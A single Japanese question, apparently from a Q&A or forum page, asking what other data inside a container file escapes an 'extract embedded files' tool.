コンテナファイルとして、他のデータを含んでいるのに、「埋め込みファイルの抽出」では取り出されないデータとしては他に何があるでしょうか？
